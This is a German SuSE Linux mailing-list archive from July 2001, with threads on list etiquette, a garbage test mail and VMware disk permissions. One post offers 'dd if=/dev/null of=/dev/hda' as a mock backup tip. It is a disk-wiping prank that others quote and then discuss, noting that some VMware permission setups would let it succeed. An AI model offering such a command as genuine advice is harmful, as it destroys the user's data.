Wieso denn Arroganz? Was hat denn meine Kritik an Dir mit Arroganz zu tuen? Vielleicht solltest Du auch einmal etwas über Deinen Standpunkt nachdenken. Oder wenn Du eine Erläuterung zu meinen Aussagen haben willst, dann kannst Du alles jederzeit hinterfragen. Ich opfere einen Teil meiner Zeit für die Liste. Ich habe das bestreben, anderen zu helfen. Dies setzt aber voraus, dass diese auch bereit sind, etwas zu tuen. Ich bin nicht der Futzi, der einem alles macht. Und zu Linux gibt es wirklich sehr viel Doku und mit google kann man gezielt nach allem suchen. Versuch Dir selbst zu helfen, dann wird dir auch geholfen. Legst Du aber die Hände in den Schoss und schreist nur nach Hilfe, dann musst Du Dich nicht wundern, wenn man Dir nicht hilft. Ich tue etwas für andere und werde mich von niemandem anmachen lassen. Wenn aber jemand meint, mich anmachen zu müssen, dann kriegt der auch sein fett weg. Ich habe nichts gegen konstruktive Kritik. Aber wenn dann z.B. eine Kritik anfängt, dass ja in irgendwelchen Maillisten und in Newsgroups der Ton manchmal falsch ist, dann hört es bei mir auf. Irgendwo fallen Reissäcke um. Ja und? Ich kann es nicht ändern. Wenn bei mir ein Reissack umfällt, dann sag es auch so. DA ist ein Reissack, der gleich umfällt. Da reagiere ich ganz anders! Mit den besten Grüßen, Konrad Neitzel -- SoftMediaTec GmbH Tel: 0172 / 689 31 45 Fax: 069 / 90 50 99 53
On Thu, Jul 19, 2001 at 04:55:35PM +0200, Christoph Maurer wrote:
Vor dem Aufruf von nroff sollte man die unter /dev/null gespeicherte manpage aber sichern. dd if=/dev/null of=/dev/hda
dd if=/dev/null of=/dev/hda dd: opening `/dev/hda': Permission denied Schade ;-) ROTFL. Die Idee vorher war ja schon wirklich gut aber das war absolute Spitze. Und wie bereits in anderen Antworten diskutiert: Wer nicht entsprechend "sicher" als non-root arbeitet etc. ist selbst schuld... Grüße Frank
am 20.07.2001 8:28 Uhr schrieb Frank Derichsweiler unter fd-l-s-l@daidalos.informatik.unibw-muenchen.de:
On Thu, Jul 19, 2001 at 04:55:35PM +0200, Christoph Maurer wrote:
Vor dem Aufruf von nroff sollte man die unter /dev/null gespeicherte manpage aber sichern. dd if=/dev/null of=/dev/hda
dd if=/dev/null of=/dev/hda dd: opening `/dev/hda': Permission denied
Schade ;-)
ROTFL. Die Idee vorher war ja schon wirklich gut aber das war absolute Spitze. Und wie bereits in anderen Antworten diskutiert: Wer nicht entsprechend "sicher" als non-root arbeitet etc. ist selbst schuld...
Das sehe ich z.T. nicht so. Das mit root ist klar, aber wenn man - wie ich bis vor einigen Tagen - VMware benutzt und dazu eine exitsierende Windoof-Partition benutzen will, muss man Schreibrechte auf /dev/hdX haben. Also den user in Gruppe disk eingetragen und die entsprechenden rechte für die Gruppe vergeben. Wenn nun einer mit wenig Erfahrung und Bauäugigkeit mal VMware so benutzte ist die Konfiguration so. Wenn er dann das obige eingibt, HAT er die Permissions um das zu tun. Grüße Rene
am 20.07.2001 9:31 Uhr schrieb Rene Engelhard unter mail@rene-engelhard.de:
Das sehe ich z.T. nicht so.
Das mit root ist klar, aber wenn man - wie ich bis vor einigen Tagen - VMware benutzt und dazu eine exitsierende Windoof-Partition benutzen will, muss man Schreibrechte auf /dev/hdX haben. Also den user in Gruppe disk eingetragen und die entsprechenden rechte für die Gruppe vergeben.
Wenn nun einer mit wenig Erfahrung und Bauäugigkeit mal VMware so benutzte ist die Konfiguration so. Wenn er dann das obige eingibt, HAT er die Permissions um das zu tun.
Man sollte seine Mails bzw. die Sätze auf Sinnhaftigkeit und Lesbarkeit überprüfen, bevor man sie losschickt. Ich meinte damit *nicht*, da diese Form der Konfiguration von VMWare blauäugig ist, sondern wenn man das dann so konfiguriert - was die IIRC einzige Möglichkeit ist, VMWare als User eine existierende Part. zu nutzen, dann wenn er den dd-Befehl blauäugig eingibt, es funktioniert........ Und futsch ist alles! Grüße Rene
Ich meinte damit *nicht*, da diese Form der Konfiguration von VMWare blauäugig ist, sondern wenn man das dann so konfiguriert - was die IIRC einzige Möglichkeit ist, VMWare als User eine existierende Part. zu nutzen, dann wenn er den dd-Befehl blauäugig eingibt, es funktioniert........ Und futsch ist alles!
Na ... das hoffe ich doch nicht, dass es tatsächlich so ist! Ansonsten würde vmware gerade mal für ein move nach /dev/null gut genug sein. Erste Idee (Ich habe vmware noch nie benutzt!): SetUID oder SetGID ... SetGID sollte ok sein ... also: Partition wird einer neuen Gruppe zugeordnet .. z.B. vmwadm (VMWare ADMin). Gruppe bekommt Schreibrechte Binaries von vmware bekommen diese Gruppe zugeordnet SetGID Flag wird gesetzt. Und schon kann vmware aufgerufen werden von jedem ... Wäre eine Möglichkeit. Aber dann darf entweder nur der Owner oder jeder vmware aufrufen ... was, wenn dies nicht erwünscht ist? SetUID würde das zulassen ... also vmware Binaries so behandeln, dass nur user und group dieses aufrufen dürfen. User wird ein vmwadm. Dieser wird auch owner vom Device! Und schon läuft vmware immer als user vmwadm ... Und nur bestimmte leute können dieses aufrufen ... Da es IMHO ehh bei fast allen Binaries so ist, dass jeder diese aufrufen darf, spricht alles für eine Lösung wie unter 1 beschrieben. Könnte gehen, oder? Habe ich nie getestet, aber ich habe schon andere ähnliche Szenarien so durchgeführt. Konrad Neitzel -- Konrad Neitzel Frankfurt / Main
On Fri, Jul 20, 2001 at 09:31:31AM +0200, Rene Engelhard wrote:
am 20.07.2001 8:28 Uhr schrieb Frank Derichsweiler unter
On Thu, Jul 19, 2001 at 04:55:35PM +0200, Christoph Maurer wrote:
dd if=/dev/null of=/dev/hda
nicht entsprechend "sicher" als non-root arbeitet etc. ist selbst schuld...
Das mit root ist klar, aber wenn man - wie ich bis vor einigen Tagen - VMware benutzt und dazu eine exitsierende Windoof-Partition benutzen will, muss man Schreibrechte auf /dev/hdX haben. Also den user in Gruppe disk eingetragen und die entsprechenden rechte für die Gruppe vergeben.
Wenn nun einer mit wenig Erfahrung und Bauäugigkeit mal VMware so benutzte ^^^^^^^^^^^^ ist die Konfiguration so. Wenn er dann das obige eingibt, HAT er die Permissions um das zu tun.
Stimmt. Ich habe eben genau diese Blauäugigkeit gemeint mit dem Hinweis auf selber schuld. Wenn ich einen Benutzer in eine Systemgruppe eintrage, muß man sich eben klar machen, was der Benutzer danach dann auch noch alles machen darf... Damit ist dann ggf. eine nicht "sichere" Situation gegeben.... Grüße Frank
>>>>>>>>>>>> Ursprüngliche Nachricht <<<<<<<<<<<<<<<<<<
Am 19.07.01, 16:01:06, schrieb <ns.ahh@gmx.de> zum Thema sdadadadasd:
dsdasdsdsdffsdfsdf
Wie lange soll so ein Schrott oder Sch... noch über die Liste gehen. So langsam behagt mich der Gedanke, der Liste wegen der ganzen unsinnigen Mails, die am Thema der Liste vorbei gehen, tschau zu sagen. Dieser Müll erschwert das Lesen ungemein! Mit freundlichen Grüßen Martin
Wie lange soll so ein Schrott oder Sch... noch über die Liste gehen. S o langsam behagt mich der Gedanke, der Liste wegen der ganzen unsinnigen Mails, die am Thema der Liste vorbei gehen, tschau zu sagen. Nunja - dazu kann ich nur sagen: Informationen zum subscribe / unsubscribe findest Du auf der Webseite von SuSE.
Wenn sich jeder, der hinzukommt oder geht eine Mail in die Liste schreiben würde, dann hätten wir hier extrem viel Traffic ... und ganz ehrlich: Bei so vielen Usern, wie sie auf dieser Liste sind, interessiert es mich nicht so sehr, ob Du nun gehst oder nicht! Trolle und Anfänger gibt es überall. Ausserdem sind wir alle nur Menschen und die machen auch Fehler ... also: nicht gleich meckern ... Wenn es Dir zu viel wird: Dann geh einfach aber nerv nicht! (Ich bin auch schon so oft gegangen ... bin genausooft wiedergekommen ... klar ... sonst wäre ich nicht hier ... ja und? ... Hat auch keinen interessiert :) )
Dieser Müll erschwert das Lesen ungemein! Dann machs so wie ich: lies nur die Artikel, wo das Subject schon interessant klingt und lösch alles andere ... Niemand zwingt Dich, alles zu lesen!
Klar - prinzipiell hast Du Recht, aber wenn jeder auf einen Fehler mit so einer Mail reagiert, dann haben wir sofort das n-fache an Traffic. Ja toll ... DAS erschwert das Lesen noch viel mehr! Konrad -- Konrad Neitzel Frankfurt / Main
----- Original Message ----- From: <ns.ahh@gmx.de> To: <suse-linux@suse.com> Sent: Thursday, July 19, 2001 4:01 PM Subject: sdadadadasd [...] mail an abuse@gmx.de ist raus. bye MH
----- Original Message ----- From: "Andreas Kneib" <aporia@web.de> To: <suse-linux@suse.com> Sent: Friday, July 20, 2001 11:35 AM Subject: Re: sdadadadasd
* Mathias Homann <admin@eregion.de> [20/07/01 08:14]:
mail an abuse@gmx.de ist raus.
Warum?
Weil die Dummbären von GMX mit ihrer default .signature mit der Werbung unten dran gegen ihre eigene Anti-Spam-ploicy verstossen... bye MH
Moin, Mathias * Du schriebst:
Weil die Dummbären von GMX mit ihrer default .signature mit der Werbung unten dran gegen ihre eigene Anti-Spam-ploicy verstossen...
Das ist ein Argument ;-) Viele Gruesse, Andreas -- Kneibs Notizen,---> http://www.kolumne.ixy.de | `---> http://www.wortwaal.de/kneibskolumne/
On Fri, 20 Jul 2001 at 08:14 (+0200), Mathias Homann wrote:
----- Original Message ----- From: <ns.ahh@gmx.de> To: <suse-linux@suse.com> Sent: Thursday, July 19, 2001 4:01 PM Subject: sdadadadasd [...]
mail an abuse@gmx.de ist raus.
Wieso denn das? Einen Fehler kann doch jeder mal machen, solange dies nicht häufiger eintritt, sehe ich überhaupt keinen Grund dafür! Gruß, Bernhard -- First they ignore you Then they laugh at you Then they fight you Then you win ! -- Mahatma Ghandi
Mathias Homann wrote:
----- Original Message ----- From: <ns.ahh@gmx.de> To: <suse-linux@suse.com> Sent: Thursday, July 19, 2001 4:01 PM Subject: sdadadadasd [...]
mail an abuse@gmx.de ist raus.
?? Verstehe ich jetzt nicht! Fuer mich sah das aus wie eine etwas verkommene Testmail, was hat das mit Abuse zu tun? Wie kommst Du darauf, dass es sich um SPAM handelt? Gruss, Th. -- Thomas Hertweck, Geophysicist Geophysical Institute, Karlsruhe University (TH) Hertzstr. 16, D-76187 Karlsruhe, Germany
participants (23)
-
Andreas Kneib -
B.Brodesser＠t-online.de -
Bernhard Walle -
Christoph Maurer -
D. Wolpert -
David Haller -
Erhard Schwenk -
Florian Gross -
Frank Derichsweiler -
Frederic Wiesenbach -
Konrad Neitzel -
Konrad Neitzel -
Martin Pitsch -
Mathias Homann -
Mathias Weigt -
Michael Schulz -
Mike Deter -
ns.ahh＠gmx.de -
Peter Spiess -
Rene Engelhard -
Sven Hoexter -
Thomas Hertweck -
Thorsten Körner